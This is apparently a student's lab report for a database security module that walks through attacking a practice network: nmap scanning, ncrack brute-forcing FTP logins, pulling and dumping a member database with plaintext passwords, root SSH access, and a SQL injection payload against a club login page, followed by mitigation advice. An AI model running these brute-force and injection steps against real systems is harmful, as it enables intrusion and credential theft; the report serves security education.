

Module Title: Database & Information Security

Module Code: CS2DI17

Student Number : 30020691

Date of Completion: 28/10/2022

Actual Time Spent : 10 hours

## Subtask 1: Information Gathering

```
root@tester:/home/tester# su
root@tester:/home/tester# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:bd:cb:2b
          inet addr:192.168.1.3  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:febd:cb2b/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1002 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1529 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:60120 (58.7 KiB)  TX bytes:80482 (78.5 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:2006 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2006 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:84426 (82.4 KiB)  TX bytes:84426 (82.4 KiB)
```

```
root@tester:/home/tester# nmap -v 192.168.1.0/24
```

```
Starting Nmap 5.00 ( http://nmap.org ) at 2022-10-21 12:02 EDT
NSE: Loaded 0 scripts for scanning.
Initiating ARP Ping Scan at 12:02
Scanning 3 hosts [1 port/host]
Completed ARP Ping Scan at 12:02, 0.20s elapsed (3 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:02
```

```
23/tcp open  telnet
80/tcp open  http
MAC Address: 08:00:27:D5:64:A2 (Cadmus Computer Systems)
Initiating ARP Ping Scan at 12:02
Scanning 252 hosts [1 port/host]
Completed ARP Ping Scan at 12:03, 5.24s elapsed (252 total hosts)
Initiating SYN Stealth Scan at 12:03
Scanning 192.168.1.3 [1000 ports]
Discovered open port 22/tcp on 192.168.1.3
Discovered open port 21/tcp on 192.168.1.3
Discovered open port 23/tcp on 192.168.1.3
Completed SYN Stealth Scan at 12:03, 0.01s elapsed (1000 total ports)
Host 192.168.1.3 is up (0.0000040s latency).
Interesting ports on 192.168.1.3:
Not shown: 997 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
Read data files from: /usr/share/nmap
Nmap done: 256 IP addresses (2 hosts up) scanned in 18.64 seconds
Raw packets sent: 2509 (109.378KB) | Rcvd: 3004 (124.190KB)
root@tester:/home/tester#
```

I began by switching to the tester account using the `su` command. Once authenticated, I used `ifconfig` to view the network configuration, including the tester's IP address. I then ran `nmap` to perform network reconnaissance, which revealed open ports and detailed system information about the device.

## Subtask 2: Penetration Testing Remote Login

```
root@tester:/home/tester# ncrack ftp://192.168.1.2
Starting Ncrack 0.6 ( http://ncrack.org ) at 2022-10-21 12:24 EDT
Stats: 0:03:04 elapsed; 0 services completed (1 total)
Rate: 4.84; Found: 6; About 0.07% done
(press 'p' to list discovered credentials)
Discovered credentials for ftp on 192.168.1.2 21/tcp:
192.168.1.2 21/tcp ftp: 'anonymous' '123456'
192.168.1.2 21/tcp ftp: 'guest' '12345'
192.168.1.2 21/tcp ftp: 'anonymous' '12345'
192.168.1.2 21/tcp ftp: 'anonymous' '123456789'
192.168.1.2 21/tcp ftp: 'anonymous' 'password'
192.168.1.2 21/tcp ftp: 'anonymous' 'iloveyou'
Discovered credentials for ftp on 192.168.1.2 21/tcp:
192.168.1.2 21/tcp ftp: 'anonymous' '123456'
192.168.1.2 21/tcp ftp: 'guest' '12345'
192.168.1.2 21/tcp ftp: 'anonymous' '12345'
192.168.1.2 21/tcp ftp: 'anonymous' '123456789'
192.168.1.2 21/tcp ftp: 'anonymous' 'password'
192.168.1.2 21/tcp ftp: 'anonymous' 'iloveyou'
```

```
root@tester:/home/tester# ftp 192.168.1.2
Connected to 192.168.1.2.
220 (vsFTPd 2.3.2)
Name (192.168.1.2:tester): guest
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd ..
250 Directory successfully changed.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  4 0      0      4096 Jan 14  2020 .
drwxr-xr-x  2 0      0      4096 May 13  2012 ..
drwxr-xr-x  2 1000   1000   4096 Jan 12  2019 guest
drwxr-xr-x  2 1001   1001   4096 Jan 14  2020 john
226 Directory send OK.
ftp>
```

```
ftp> cd john
250 Directory successfully changed.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  2 1001   1001   4096 Jan 14  2020 .
drwxr-xr-x  4 0      0      4096 Jan 14  2020 ..
-rw-r--r--  1 1001   1001   220 Jan 11  2019 .bash_logout
-rw-r--r--  1 1001   1001  3184 Jan 11  2019 .bashrc
-rw-r--r--  1 1001   1001   675 Jan 11  2019 .profile
-rw-rw-r--  1 1001    33    4096 Jan 14  2020 members.db
-rw-r--r--  1 1001   1001   324 Jan 14  2020 note.txt
226 Directory send OK.
ftp> mget members.db
mget members.db? yes
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for members.db (4096 bytes).
226 Transfer complete.
4096 bytes received in 0.00 secs (4683.8 kB/s)
ftp> quit
221 Goodbye.
root@tester:/home/tester#
```

```
root@tester:/home/tester# sqlite3 members.db
SQLite version 3.7.3
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .headers on
sqlite> .mode csv
sqlite> .output members.csv
sqlite> SELECT *
...> FROM members;
sqlite> .quit
root@tester:/home/tester# ls -al
total 32
drwxr-xr-x 2 tester tester 4096 Oct 21 12:36 .
drwxr-xr-x 4 root root 4096 Jan 12 2019 ..
-rw----- 1 tester tester 56 Sep 25 22:05 .bash_history
-rw-r--r-- 1 tester tester 220 Jan 12 2019 .bash_logout
-rw-r--r-- 1 tester tester 3184 Jan 12 2019 .bashrc
-rw-r--r-- 1 root root 246 Oct 21 12:37 members.csv
-rw-r--r-- 1 root root 4096 Oct 21 12:32 members.db
-rw-r--r-- 1 tester tester 675 Jan 12 2019 .profile
root@tester:/home/tester#
```

```
root@tester:/home/tester# ssh 192.168.1.2
The authenticity of host '192.168.1.2 (192.168.1.2)' can't be established.
RSA key fingerprint is 6b:19:de:d8:8b:c0:d8:67:55:fa:95:aa:89:b8:69:20.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.2' (RSA) to the list of known hosts.
^Z
[4]+  Stopped                  ssh 192.168.1.2
root@tester:/home/tester# ssh 192.168.1.2
root@192.168.1.2's password:
Linux club 2.6.32-5-686 #1 SMP Mon Jan 16 16:04:25 UTC 2012 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 25 21:51:15 2022
root@club:~#
```

```
members.csv members.db
root@tester:/home/tester# sqlite3 members.db
SQLite version 3.7.3
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .headers on
sqlite> .mode csv
sqlite> .output members.csv
sqlite> SELECT *
...> FROM members;
sqlite> .quit
root@tester:/home/tester# cat members.csv
id,name,phone,password
1,"John Shuttleworth","0118 496 0049",radio2020
2,"Jane Jobsworth","0118 496 0937",morethanmy
3,"Niklaus Wirth","0118 496 0228",algol
4,"Mai Pennyworth","0118 496 0635",opinionated
5,"Anne Worthy","0118 496 0282",worthless
root@tester:/home/tester#
```

I deployed **ncrack** to perform penetration testing, which revealed potential username and password combinations by exploiting network vulnerabilities. After obtaining these credentials, I initiated an FTP connection to 192.168.1.2 using **ftp 192.168.1.2**. I successfully authenticated using the credentials username: 'guest' and password: '12345', which granted me access to several directories, including one named 'john'.

Within the directory structure, I located a file named 'members.db' inside the 'club' directory. To retrieve this file, I used the **mget** command to download it to the tester account. To analyze its contents, I converted the .db file to CSV format using SQLite commands, allowing me to read the members.csv file. This file contained various credentials that could potentially provide root access to the 'club' system.

### Subtask 3: Penetration Testing: SQL injection

```

Earley Birds Badminton Club
Earley Birds Badminton Club

Welcome, members. To view your fixtures, please enter your full name and
your password below.

Your name: ----- Password: ';SELECT name, passwo
[ Submit ]

Earley Birds Badminton Club
Earley Birds Badminton Club

Welcome, members. To view your fixtures, please enter your full name and
your password below.

Your name: ----- Password: password FROM members
[ Submit ]

Earley Birds Badminton Club
Earley Birds Badminton Club

Welcome, members. To view your fixtures, please enter your full name and
your password below.

Your name: ----- Password: M members WHERE '='=
[ Submit ]

Fixtures (p1 of 2)

<html>
<head>
<title>Fixtures</title>
</head>
<!--
Debug SQL1:
select members.id from members where name='' and password='';SELECT name, passwo
-->
<!--
Debug SQL2:
select name,time from (fixtures inner join members on fixtures.player2=members.i
Jane Jobsworth|morethanmy
Niklaus Wirth|algol
Mai Pennyworth|opinionated
Anne Worthy|worthless' union select name,time from (fixtures inner join members
Jane Jobsworth|morethanmy
Niklaus Wirth|algol
Mai Pennyworth|opinionated
Anne Worthy|worthless';
-->
<body>
<p>Here are your fixtures:</p>
<pre>
OK
```

I accessed the database menu by using the `links` command with the club's IP address. To bypass authentication, I performed an SQL injection attack by entering the following payload in the password field:

`'; SELECT name, password FROM members M members WHERE '='=`

This SQL injection exploited the application's input validation vulnerability. The specific combination of special characters (`'`, `;`) caused the query parser to malfunction, allowing me to bypass the authentication mechanism and gain unauthorized access to the system.

## **Subtask 4: Recommendations**

### **Identified Vulnerabilities and Mitigations**

#### **1. Open Port Exposure**

- Close all unused ports to minimize the attack surface
- Implement a robust firewall configuration to monitor and control network traffic
- Regularly audit open ports and disable unnecessary services

#### **2. SQL Injection Vulnerability**

- Implement comprehensive input validation and sanitization
- Use prepared statements and parameterized queries
- Apply server-side validation to filter out special characters and malicious inputs
- Escape all user-supplied data before processing

### **Security Recommendations**

#### **1. Implement Multi-Factor Authentication (MFA)**

- Require additional verification methods beyond passwords
- Deploy time-based one-time passwords (TOTP)
- Consider biometric authentication where appropriate
- Enable MFA for all user accounts, especially those with elevated privileges

#### **2. Enhance Password Policy**

- Enforce strong password requirements:
  - Minimum length of 12 characters
  - Combination of uppercase, lowercase, numbers, and special characters
- Implement password expiration and history policies
- Prohibit common passwords (e.g., '12345', 'radio2020')
- Use a password manager to generate and store complex passwords